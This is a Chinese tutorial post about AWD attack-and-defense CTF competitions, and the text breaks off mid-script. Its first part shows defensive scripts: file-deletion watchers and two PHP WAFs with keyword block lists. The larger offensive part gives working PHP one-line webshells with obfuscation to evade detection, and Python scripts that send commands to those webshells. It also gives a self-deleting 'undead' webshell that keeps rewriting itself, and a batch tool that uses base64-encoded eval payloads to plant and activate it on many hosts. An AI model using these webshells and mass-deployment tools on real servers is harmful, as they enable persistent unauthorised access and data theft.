赞
踩
本文主要介绍了一些网络攻防对抗赛的常用方法,也就是俗称的AWD比赛。
AWD赛制是按照分组来进行比赛的。每组3-4人,经过不同的分工,从而实现对服务器的维护以及对其他人的服务器进行攻击。
每个服务器都会有一个提前放好的有漏洞的网站,需要进行代码审计,然后修补漏洞。
举个例子,某些参数一可以参杂系统的cmd命令上来,如果执行成功,就会获取你服务器上某个文件夹下的flag.txt的内容,一旦获取成功,就代表被攻破。
flag每隔一段时间都会刷新,所以可以一直被提取。最后比赛是按照你提的flag的数量来进行排名的。
任务一:下载源码,源码备份,源码上传,查看日志
这个任务我感觉是最简单的了,首先使用xftp之类的软件链接到服务器,然后将源码拷贝下来就行了 。记得要做备份。
之后要做的就是等负责代码审计的人修补好漏洞以后将源码在传上去就行了。
至于最后一个,就是学会看日志。每个服务器都会记录访问请求,里面保存了所有访问记录。因此,有时候实在没有进攻思路,可以放开所有抱回,然后看看其他人是怎么打的你,在打回去就行了。
任务二:代码审计,写攻击防御脚本,修补漏洞
这个需要代码水平高的人来做,用得到的语言有php和python。
源码拿到以后,可以首先借助工具进行扫面,比如awvs,D盾之类的,如果扫描出漏洞就需要进行修补。
其次就是写脚本。这个我在后面会一一放出来,可以看看。
任务三:数据库注入
这个就是看数据库的漏洞,如果注入成功的话可以上传一句话木马。同样需要以为数据库大佬。
由于我主要是负责任务二的,所以通篇都会对一些大佬的代码进行分析。后面也有一些我自己写的代码。
攻击的话,其实就是利用一些漏洞进行攻击。这个大佬给的东西挺全的。结构如图。
这里先分析防御脚本。
#!/usr/bin/python
#coding=utf-8
#Usage :python demo.py
#Code by : AdminTony
#QQ : 78941695
#注意:要将此文件放在有读写权限的目录以及所有修改过的php必须在此目录或者该目录的子目录中。
#作用:读取被修改过的文件,然后将文件的地址加上内容全部存放在txt
import sys,subprocess,os
#查找最近10分钟被修改的文件
def scanfile():
#command: find -name '*.php' -mmin -10
command = "find -name \'*.php\' -mmin -10"
su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
STDOUT,STDERR = su.communicate()
list = STDOUT.split("\n")
#print str(list)
#将文件处理成list类型然后返回。
return list
#读取文件:
def loadfile(addr):
data = ""
#如果文件不存在就跳出函数
try :
file = open(addr,'r')
data = file.read()
except :
return 0
all_data = addr+"\n"+data+"\n\n"
file1 = open("shell.txt",'a+')
#避免重复写入
try:
shell_content = file1.read()
except:
shell_content = "null"
#如果文件内容不为空再写入,避免写入空的。
#print shell_content
if data :
if all_data not in shell_content:
file1.write(all_data)
file.close()
file1.close()
rm_cmd = "rm -rf "+addr
su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
su.communicate()
print "loadfile over : "+addr
if __name__ == '__main__':
while True:
list = scanfile()
if list :
for i in range(len(list)):
#如果list[i]为空就不读取了
if list[i]:
loadfile(str(list[i]))
else : pass
其实大佬已经写的挺清楚了。
先看主函数,调用了一次scanfile()函数。
scanfile()函数:
通过分析可知,这个函数写了一个线程,调用了linux命令,用来查找创建时间小于10分钟的文件,然后处理成列表的形式返回查找到的文件名。
因此我们可以搞清楚了:主函数里面的list存放的是找到的所有符合条件的文件名。
接着走main函数里面的是一个判断。如果成功,就对列表中的每个文件进行loadfile()函数的操作。
loadfile()函数:
可以看到一个用法:try-except。这个代表着抛出异常,当except不写异常,就代表着抛出所有异常。
第一个异常处理是如果成功读取文件内容的话就继续执行,不成功就抛出异常,结束函数。
接着,在shell.txt文件中将刚才的文件名和内容保存下来。
然后就是第二个异常。shell_content变量里面保存的是刚读取的可以文件信息。
然后就是一个判断。这个判断是为了防止已经写入过了,因此加的。
最后,新建一个线程来执行删除文件的命令。
很好,我们目前已经搞清楚了。整个代码的流程大概是:
因此我们可以得出一个结论:
这个脚本主要是为了防御文件上传。因为会不断删除上传上来的文件,所以即使上传上来一句话木马也没用。你们可以对脚本进行修改,添加一些别的东西上去。
当然,也有缺陷。
所以,为了解决这个缺陷,我找了一个linux脚本,这样的话就可以不借助python的情况下来实现相同的功能。脚本如下:
#!/bin/bash
while true
do
find /var/www/dvwa/ -cmin -10 -type f | xargs rm -rf
sleep 1
done
注意要修改路径。这个路径是你比赛网站的位置。运行以后,会监控并删除(不会记录)可疑文件。当然,我也想写一个可以记录上传文件的代码,奈何技术不过关,我也不会写linux命令。
(现在才知道,写完点保存还得关闭网页才行。写了三次了都,哭了呀)
waf就是流量防火墙。大佬给的waf有点缺点,就是只能记录流量。先上脚本分析。
<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
$time=date("Y-m-d H:i:s");//将时间赋值给变量$time
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
先看第一段代码:
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
这段代码实现了函数的定义。如果没有找到getallheaders函数的定义,那么就实现自己的定义。
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
这段代码实现了用变量来记录各种参数。包括上传的文件信息。
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
这段代码实现了提交的参数的检查。
function logging($var) {
date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
$time=date("Y-m-d H:i:s");//将时间赋值给变量$time
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
这个就很明显了吧?实现了写入日志的功能。
原谅我写的简单,因为这是写了的第三遍了。。。心累。
用法的话就是在每个php文件的<?php字符的下一行加上代码:
require_once('waf.php');
即可,如图。
效果如图。乱码是因为我系统的原因。
我们用waf是为了进行一个过滤,但是这个waf并不能进行过滤,仅仅是用来记录的。因此,我们需要从别的角度来考虑,比如对代码进行一些修改。
奈何我对于php的水平也不是很高,所以只能做到代码审计,自己写还是很勉强,所以找了另一个大佬的。源码奉上。
<?php
date_default_timezone_set("PRC");
//这块在开始的代码没有的,我加的。不加就会报错。
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
** 线下攻防php版本waf
**
** Author: 落
*/
/*
检测请求方式,除了get和post之外拦截下来并写日志。
*/
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){
write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //获取url来进行检测
$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipart
$headers = get_all_headers(); //获取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //对URL进行检测,出现问题则拦截并记录
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data)))); //对POST的内容进行检测,出现问题拦截并记录
/*
检测过了则对输入进行简单过滤
*/
foreach ($_GET as $key => $value) {
$_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
$_SERVER[$key] = filter_dangerous_words($value); //简单过滤
}
/*
获取http请求头并写入数组
*/
function get_all_headers() {
$headers = array();
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}
return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str){
for($i=0;$i<strlen($str);$i++){
$ascii = ord($str[$i]);
if($ascii>126 || $ascii < 32){ //有中文这里要修改
if(!in_array($ascii, array(9,10,13))){
write_attack_log("interrupt");
}else{
$str = str_replace($ascii, " ", $str);
}
}
}
$str = str_replace(array("`","|",";",","), " ", $str);
return $str;
}
/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str){
if(strpos($str,"%25") !== false){
$str = str_replace("%25", "%", $str);
return filter_0x25($str);
}else{
return $str;
}
}
/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str){
if(preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){
write_attack_log("sqli");
}
//此处文件包含的检测我真的不会写了,求高人指点。。。
if(substr_count($str,$_SERVER['PHP_SELF']) < 2){
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){
write_attack_log("LFI/LFR");;
}
}else{
write_attack_log("LFI/LFR");
}
if(preg_match("/base64_decode|eval\(|assert\(/i", $str)){
write_attack_log("EXEC");
}
if(preg_match("/flag/i", $str)){
write_attack_log("GETFLAG");
}
}
/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str){
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}
/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raw() {
$raw = '';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n";
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw .= $key.': '.$value."\r\n";
}
}
$raw .= "\r\n";
$raw .= file_get_contents('php://input');
return $raw;
}
/*
这里拦截并记录攻击payload
*/
function write_attack_log($alert){
$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".get_http_raw()."\r\n\r\n";
$ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径
fwrite($ffff, $data);
fclose($ffff);
if($alert == 'GETFLAG'){
echo "HCTF{aaaa}"; //如果请求带有flag关键字,显示假的flag。(2333333)
}else{
sleep(15); //拦截前延时15秒
}
exit(0);
}
echo $_SERVER['QUERY_STRING'];
?>
激动死我了,终于找到一个能用的waf了。膜拜大佬。先给大家看看效果。为了效果明显,我在脚本最后写了个
echo $_SERVER['QUERY_STRING'];
用于测试是否字符过滤成功。
如图,先随便测试一个参数:
成功了。我们在试试非法字符,比如引号。
我的页面加载了15秒以后,然后发现访问请求变成空的了。太秀了,感谢大佬解决了我头疼一天的问题。
原谅我忘了从哪保存的代码了。
如图,这个是此waf的拦截记录。
上面那个%E2%80%98 应该是单引号的编码。
这个waf是真的好用,可以将非法参数进行拦截,并且记录下来。完全可以这么说,只要waf写得好,你漏洞不修复都没事。
我们可以将两个waf都挂上,这样log.txt记录了所有请求,log_is_a_secret_file.txt记录了所有包含非法请求的字符。可谓天下无敌啊。
这个waf最6的地方就是,如果监测到有flag的字符的时候,则会显示一串假flag。秀的一匹。当然,你要是待要的话,可以将两个waf结合起来,不光有非法字符的过滤,还有非法函数的过滤,也就是第一个waf里面的pattern表。
好了,防御大概就说这么多吧。不知不觉字数已经一万多了,咱们继续。
所谓攻击,其实也就是防御的相反。想想看我们是从什么教的防御的?
所以,我们从这两个角度来思考就行了。
首先,我们来思考第一个:连接一句话木马
一句话木马就是用php写一个仅仅一行的代码,然后用工具或者脚本进行连接。你当然可以使用中国菜刀等工具,但是由于一次只能连接一个,所以提取flag会比较慢。因此,你需要学会写脚本,这样的话可以一次行连接所有ip,然后抓取所有人的flag。
有时候不一定非要你传一句话木马才能连接,有的比赛会直接在网站后台放一句话木马。因此,你可以写一个开局先跑所有ip的某个固定目录下的一句话木马进行连接,如果成功就执行提flag命令,不成功就跳过这个ip。
由于比赛不一定所有人都是大佬,总有那么几个小白,这个方法是很容易成功的。所以可以提前准备一下。
其次是第二个问题:提交非法参数
之前有师哥师姐参加过这个比赛,所以我直接可以给你们举个例子。
比如:
http://ip/?id=ls
很简单吧?但是这就是那个比赛网站留下的一个后门,直接可以执行linux命令。我们的命令就成了非法参数。
我们可以手动模拟一下,如果我们挂了waf2.php,会怎么样呢?
比如使用命令:
http://ip/?id=cat flag.txt
我们可以跳过前面的,直接看waf2.php的代码:
代码块1:
if(preg_match("/flag/i", $str)){
write_attack_log("GETFLAG");
}
代码块2:
if($alert == 'GETFLAG'){
echo "HCTF{aaaa}"; //如果请求带有flag关键字,显示假的flag。(2333333)
}
哈哈哈,直接返回了一个假flag。
其他大部分非法命令也是类似这样。所以,理论上来说我们现在是无敌的,你要是会绕过的话当我没说。
那假如我们找到这个漏洞该怎么利用呢?
首先依据waf的记录,很容易就能看到别人怎么打进来的,所以我们在用回去就行了。这个方法其实就是俗称的蜜罐。
这时候就要用到我们的脚本了。我会在后面提供一个命令提交给所有ip的脚本,照着用就行了。
废话不多说了,先上大佬的脚本分析。
(脚本好多。。。看着就头疼,给个关注如何?)
这里先说下大佬进攻的原理,采用的是第一种方法,挂马。当然,前提是在能被传上文件的服务器才可以。
攻击步骤:
首先我们需要对服务器上传一个一句话木马。比如:
<?php @eval($_POST['wzc']) ?>
这里解释一下一句话木马的编写原理和连接原理,以及免杀怎么写。
(这块内容是我写完以后又在中间插进来的,所以看着有可能和后面不太连贯)
我们一点一点来分析这段代码。
首先,我们可以看到,代码被包含在<?php ?>中。这就代表着我们在里面写的东西最后都会被当做命令来执行。
而一句话木马的目的,就是为了使用户提交上来的数据当作命令来执行,比如读取文件之类的。因此,我们想到了一种用法:
eval()函数。
这个函数就是将括号里的字符当作php代码来执行。
因此,如果我们在套到一个php超全局变量外面,这样,当用户将post参数提交上来,就可以被当作代码执行。
还有一个地方要说明的是,关于$_POST[‘wzc’]里面的’wzc’。这个有人叫“密码”,其实也不对,这个其实是一个字典的键。
当我们对一般网站提交post参数的时候,会将提交的参数形成一个字典,用对应的键名就可以访问。因此,在post方括号中写上随便一个字符,我们就可以在远端提交这个变量内容
你甚至可以将post改成get,手动就能连接这个一句话木马。比如:
<?php
@eval($_GET['wzc'])
?>
我们远端手动提交参数,可以直接看到结果。
%27是浏览器将单引号解析的结果。
另外还有一种写法,这个说实话我也不明白为什么能这样写。这个语法叫做断言。
代码如下:
<?php
@assert($_GET['wzc']);
?>
连接结果是一样的,我就不截图了。到目前为止还算正常吧?但是请看一下这种写法。
<?php
$a="assert";
@$a($_GET['wzc']);
?>
这有点打破我的认知啊。。。咋还能这么用呢?php难道能把字符当作函数名吗?
百度了半天也没看懂为啥能这样写,索性就不想了。我又试了试eval,这个不知道是我写错了还是啥,好像不能这样写。
那这样写有什么用呢?其实是和免杀有关。因为有的服务器会检测你上传的文件内容,如果包含一些特殊字符的话就会删除,所以,你就可以使用这个特性,将assert进行变形,比如:
<?php
$a = "a"."s"."s"."e"."r"."t";
$a($_POST[b]);
?>
这就是一个最简单的免杀。原理就不说了,自己想象。
先说说为啥我要加关于一句话这块的说明吧。因为昨天晚上在看web的时候,看到个一句话木马,试着连了一下,发现怎么也连不上。最后没办法,百度了答案才知道是怎么回事。
因此,我认为很多新手都可能不太懂什么是一句话木马,以及它的工作原理是什么,所以特地加了这个。
接着说说脚本怎么连接。
最简单的,代码如下。
import requests
url='http://192.168.1.101/.index.php'
payload={
'wzc':'system(\'dir\');'
}
r=requests.post(url,payload,timeout=1)
r.encoding=r.apparent_encoding
print(r.text)
效果如图。
这个是post的代码,get同理。
由于比赛的需要,可以将脚本进行更改,比如写入文件。
代码如下:
import requests
url="http://192.168.1.110"
shell="/.index.php"
passwd="wzc"
port='80'
payload={
passwd:"system(\'dir\');"
#cd c:\\flag && type flag.txt
}
url1=url+':'+port+shell
print(url1)
response=requests.post(url1,payload,timeout=1)
response.encoding=response.apparent_encoding
print(response.text)
file=open("flag.txt","a")
file.write(response.text)
file.close()
首先是关于变量的说明。
url="http://192.168.1.110"
shell="/.index.php"
passwd="wzc"
port='80'
payload={
passwd:"system(\'dir\');"
#cd c:\\flag && type flag.txt
}
url:用于存放被攻击服务器的ip
shell:一句话木马的上传位置
passwd:密码
port:网站端口
payload:用于执行的命令。我测试了一个显示当前目录文件的命令。
其次后面的几条代码:
print(url1)
response=requests.post(url1,payload,timeout=1)
response.encoding=response.apparent_encoding
print(response.text)
这几条代码用于连接,原理和爬虫一样。
最后这块:
file=open("flag.txt","a")
file.write(response.text)
file.close()
由于是比赛用的,所以在命令执行成功以后会抓取的flag保存。
如图,我先假设我们随便上传了一个一句话木马,名字起名为.index.php。
然后使用脚本进行连接。
看,是不是执行成功了?由此可见,我们只要把命令改成读取flag的命令,我们就能为所欲为了。
但是,有时候我们上传了木马以后,被攻击的服务器可能运行了检测文件脚本,一上传就给我们删除了,该怎么办呢?
这时候就需要用到大佬给的不死马脚本了。代码如下。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index.php';
$code = '<?php @eval($_POST[\'wzc\']) ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2017-11-12 10:10:10" .index.php');
usleep(50000);
}
?>
在测试的时候发现生成的不死马没法用,于是我改了一个比较好用的。
用法也很简单,就是将这个文件上传,然后在网页输入这个页面就行了。如图。
首先,我先上传这个文件,起名为hint2.php。
然后,在网页输入这个页面。如图,现在已经启动成功了。关掉页面即可。
这时候在看服务器,生成了一个.index.php,并且自动隐藏了hint2.php。
我们尝试删除这个木马,发现不行,仍然会自动生成。
这样,我们就有了永久权限。那假如我们的服务器被挂了不死马,该怎么办呢?这里也给了解决方法。
目前最有效的是重启,但是重启就要扣分,所以中了不死马是比较难以解决的。
剩下的几个首先就是用命令生成不死马了,代码如下。
system('while true;do echo \'<?php @eval($_POST[\'wzc\']) ?>\' > .index.php;sleep 0.1;done;');
接着我们进行一下拓展:如何一次性上传批量的一句话木马?
因为比赛用的网站都是同一个,也就是说,在一个地方发现可以上传文件的地方,那么其他ip的同一个位置也是可以进行文件上传的。
因此,我们可以写一个将所有ip都尝试上传文件的脚本。
不过在写这个之前,我们先想想看,如何对网站上传脚本?
对于这个问题。。。我也没想到怎么解决,百度的东西都不怎么靠谱,所以我干脆就放弃这个依靠网站上传点的漏洞了。
脚本的前提是传上一句话木马才能用。只能说是基于上传一句话以后的省事用法。
先分析第一个。
#!/usr/bin/python
#coding=utf-8
import sys,requests,base64
'''
Usage:
将所需要传shell的url放在webshell.txt中,格式如下:
url(含http:// or https://),method(请求方式),passwd
http://127.0.0.1:80/1110/x.php,post,x
http://127.0.0.2/1110/x.php,post,x
http://127.0.0.3/1110/x.php,post,x
tips: 别在","前后放空格。
'''
#获取靶机的绝对路径
def getpath(url,method,passwd):
data = {}
if method == "get":
data[passwd] = '@eval(base64_decode($_GET[z0]));'
data['z0'] = 'ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
res = requests.get(url,params=data)
return res.content.strip()
elif method == "post" :
data[passwd] = '@eval(base64_decode($_POST[z0]));'
data['z0'] = 'ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
res = requests.post(url,data=data)
#print data
return res.content.strip()
else :
return 0
#加载要上传的后门内容
def loadfile(filepath):
try :
file = open(filepath,"rb")
return str(file.read())
except :
print "File %s Not Found!" %filepath
sys.exit()
#写马函数
def upload(url,method,passwd):
#http://127.0.0.1:80/1110/x.php,post,x
'''
1.http or https
2.端口要放在ip变量中
3.Rfile /1110/x.php
'''
try:
url.index("http")
#去除http:// ==> 127.0.0.1:80/1110/x.php
urlstr=url[7:]
lis = urlstr.split("/")
ip=str(lis[0])
Rfile = ""
for i in range(1,len(lis)):
Rfile = Rfile+"/"+str(lis[i])
except :
urlstr=url[8:]
lis = urlstr.split("/")
ip=str(lis[0])
Rfile = ""
for i in range(1,len(lis)):
Rfile = Rfile+"/"+str(lis[i])
#判断shell是否存在
try :
res = requests.get(url,timeout=10)
except :
print "[-] %s ERR_CONNECTION_TIMED_OUT" %url
return 0
if res.status_code!=200 :
print "[-] %s Page Not Found!" %url
return 0
#加载要写入的内容
shellPath = "./shell.php"
shell_content = loadfile(shellPath)
#获取靶机的绝对路径
Rpath = getpath(url,method,passwd)#D:/phpStudy/WWW/1110/x.php
list0 = Rpath.split("/")
Rpath = ""
for i in range(0,(len(list0)-1)):
Rpath = Rpath+list0[i]+"/"
data = {}
#判断method
if method =="post" :
data[passwd] = "@eval(base64_decode($_POST['z0']));"
data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
data['z1'] = base64.b64encode(Rpath+"/fuck.php")
data["z2"] = base64.b64encode(shell_content)
#print data
res = requests.post(url,data=data)
elif method=="get" :
data[passwd] = "@eval(base64_decode($_GET['z0']));"
data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX0dFVFsiejEiXSk7CiRjPWJhc2U2NF9kZWNvZGUoJF9HRVRbInoyIl0pOwokYz1zdHJfcmVwbGFjZSgiXHIiLCIiLCRjKTsKJGM9c3RyX3JlcGxhY2UoIlxuIiwiIiwkYyk7CiRidWY9IiI7CmZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTEpCiAgICAkYnVmLj1zdWJzdHIoJGMsJGksMSk7CmVjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIpLCRidWYpKTsKZWNobygifDwtIik7CmRpZSgpOw=='
data['z1'] = base64.b64encode(Rpath+"/fuck.php")
data["z2"] = base64.b64encode(shell_content)
res = requests.post(url,params=data)
else :
print "method err!"
sys.exit()
#判断是否上传成功,失败直接跳过
#print res.content
if res.status_code!=200:
print "[-] %s upload failed!" %ip
return 0
#激活不死马
list=Rfile.split("/")
b_url="http://"+ip
max = len(list)-1
for i in range(1,max):
b_url=b_url+"/"+list[i]
bsm_url = b_url+"/fuck.php"
try :
res = requests.get(bsm_url,timeout=3)
except :
pass
#尝试访问不死马生成的shell
shell_url = b_url+"/.index.php"
res = requests.get(shell_url)
if res.status_code!=200 :
print "[-] %s create shell failed!" %bsm_url
return 0
#输出shell地址
print "[+] %s upload sucessed!" %shell_url
if __name__ == '__main__':
shellstr=loadfile("./webshell.txt")
list = shellstr.split("\r\n")
#print str(list)
i = 0
url={}
passwd={}
method={}
for data in list:
if data:
ls = data.split(",")
method_tmp = str(ls[1])
method_tmp = method_tmp.lower()
if method_tmp=='post' or method_tmp=='get':
url[i]=str(ls[0])
method[i]=method_tmp
passwd[i]=str(ls[2])
i+=1
else :
print "[-] %s request method error!" %(str(ls[0]))
else : pass
for j in range(len(url)):
#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
upload(url=url[j],method=method[j],passwd=passwd[j])
先解释一下这个脚本的作用。当你在网站找到或者上传了一句话木马,那么你就可以在你的文件中新建一个shell.txt。格式在上面。
然后这个脚本会自动运行,靠着你传上去的一句话,在网站的上传目录下写入我们上面提到的不死马我文件,并且自动激活(激活就类似于我们远程访问这个不死马文件)。
上分析。
先观察主函数。
if __name__ == '__main__':
shellstr=loadfile("./webshell.txt")
list = shellstr.split("\r\n")
#print str(list)
i = 0
url={}
passwd={}
method={}
for data in list:
if data:
ls = data.split(",")
method_tmp = str(ls[1])
method_tmp = method_tmp.lower()
if method_tmp=='post' or method_tmp=='get':
url[i]=str(ls[0])
method[i]=method_tmp
passwd[i]=str(ls[2])
i+=1
else :
print "[-] %s request method error!" %(str(ls[0]))
else : pass
for j in range(len(url)):
#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
upload(url=url[j],method=method[j],passwd=passwd[j])
这段代码的作用是先利用loadfile函数读取文件,之后下面进行一定的判断,方便upload函数的处理。
loadfile():
def loadfile(filepath):
try :
file = open(filepath,"rb")
return str(file.read())
except :
print "File %s Not Found!" %filepath
sys.exit()
读取文件。
getpath():
def getpath(url,method,passwd):
data = {}
if method == "get":
data[passwd] = '@eval(base64_decode($_GET[z0]));'
data['z0'] = 'ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
res = requests.get(url,params=data)
return res.content.strip()
elif method == "post" :
data[passwd] = '@eval(base64_decode($_POST[z0]));'
data['z0'] = 'ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
res = requests.post(url,data=data)
#print data
return res.content.strip()
else :
return 0
ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107使用base64解码是:
echo $_SERVER[‘SCRIPT_FILENAME’];
这个函数执行以后,用提前写好的一句话木马连接,会返回服务器当前脚本的路径。
upload():
def upload(url,method,passwd):
#http://127.0.0.1:80/1110/x.php,post,x
'''
1.http or https
2.端口要放在ip变量中
3.Rfile /1110/x.php
'''
try:
url.index("http")
#去除http:// ==> 127.0.0.1:80/1110/x.php
urlstr=url[7:]
lis = urlstr.split("/")
ip=str(lis[0])
Rfile = ""
for i in range(1,len(lis)):
Rfile = Rfile+"/"+str(lis[i])
except :
urlstr=url[8:]
lis = urlstr.split("/")
ip=str(lis[0])
Rfile = ""
for i in range(1,len(lis)):
Rfile = Rfile+"/"+str(lis[i])
#判断shell是否存在
try :
res = requests.get(url,timeout=10)
except :
print "[-] %s ERR_CONNECTION_TIMED_OUT" %url
return 0
if res.status_code!=200 :
print "[-] %s Page Not Found!" %url
return 0
#加载要写入的内容
shellPath = "./shell.php"
shell_content = loadfile(shellPath)
#获取靶机的绝对路径
Rpath = getpath(url,method,passwd)#D:/phpStudy/WWW/1110/x.php
list0 = Rpath.split("/")
Rpath = ""
for i in range(0,(len(list0)-1)):
Rpath = Rpath+list0[i]+"/"
data = {}
#判断method
if method =="post" :
data[passwd] = "@eval(base64_decode($_POST['z0']));"
